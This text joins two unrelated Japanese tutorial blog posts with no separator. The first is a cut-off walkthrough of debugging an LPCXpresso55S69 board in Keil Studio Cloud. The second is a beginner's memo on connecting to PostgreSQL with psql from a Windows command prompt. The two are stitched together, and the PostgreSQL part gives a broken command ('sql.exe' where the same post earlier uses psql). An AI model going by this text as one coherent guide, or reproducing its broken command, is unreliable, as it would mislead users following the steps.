WebUSB機能が使えるブラウザ（Google Chrome等）
Keil Studio Cloud

### 事前準備
DAPLinkを更新する必要があるようなので、こちらの手順通りに作業します。  
https://www.keil.arm.com/hardware/LPCXpresso55S69/guide/

Betaプログラムに登録してログインします。
https://studio.keil.arm.com/auth/login/

### Keil Studio Cloudを使用する

* [File] - [New Project...]を選択する
* Select...をクリックし、以下のダイアログから、Blinky_LPCXpresso55S69_RTXを選択する
* Add Projectボタンを押して、プロジェクトを生成する

<img width="400" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75582/758e385f-6c77-2b08-080f-d14ccf7508e9.png">

* ターゲットボードをUSBケーブルで接続する
* ボードが自動認識され、以下のダイアログが表示されるので、Yesボタンを押す

<img width="600" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75582/fbd0818f-ab57-7474-d3a3-f3f2932916ff.png">

* Target hardwareの横にあるUSBアイコンをクリックする

<img width="400" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75582/dde8d7e1-6040-077d-44a0-b0e663f9936a.png">

* ダイアログが表示されるので、接続されたボード（DAPLink CMSIS-DAP）を選択し、Connectボタンを押す

<img width="400" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75582/7b7e251a-ff48-440f-2af4-ffdf9839320d.png">

* デバッグ（虫のアイコン）ボタンを押して、デバッグセッションを開始する

<img width="400" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75582/cddb2611-a990-544a-5d48-ec9fbd49aec2.png">

デバッグ画面の例

<img width="800" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/75582/6721eec8-274e-01c4-0f3b-da1736962e28.png">

ターゲットボードにプログラムが書き込まれた後、通常のデバッガのようにシングルステップ実行や、breakpointの設定、レジスタやメモリの表示等を行うことができます。


以上です。
PostgreSQLの勉強を始める

ミックさんの「SQL　ゼロからはじめるデータベース操作」で勉強を始めました。
SQLはある程度分かりますが、PostgreSQLはほとんど触ったことがないのとコマンド操作に慣れていないので
学習を始める際のコマンド操作を主に備忘的な意味で記載しようと思います。

PostgreSQLのインストールについては書いていません。

①コマンドプロンプトを起動

②PSQLを起動してPostgreSQLに接続
　※psqlとは
　　記述したSQL分をPostgreに送信し、結果を受け取って表示するツールで
　　PostgreSQLをインストールしたときに付属してくるようです。

③まずはC:\に移動
　　cd..\..
　　2階層上のディレクトリに移動します

④PostgreSQLをインストールしたフォルダ内のbinに移動
　　cd Program Files\PostgreSQL\13\bin

⑤psqlを起動
　　psql -h localhost -p 5432 -U postgres -d postgres

⑥パスワードを聞かれるので入力（いつもの）

⑦postgres=#と表示されたらOK。接続完了


次は、本で題材になっているshopデータベースに接続します。
（データベースは作成済み）
①binに移動しておく（上の③④）

②下記を実行し、shopに接続。パスワード聞かれる
　sql.exe -U postgres -d shop

③shop=# と表示されたらOK。データベースshopにログイン成功

③下記を実行して接続を確認する
　　SELECT shohin_id FROM Shohin;

やはり視覚的にDBを確認しながらSQLを書いていきたいので
次はGUIツールのインストールを試したいと思います。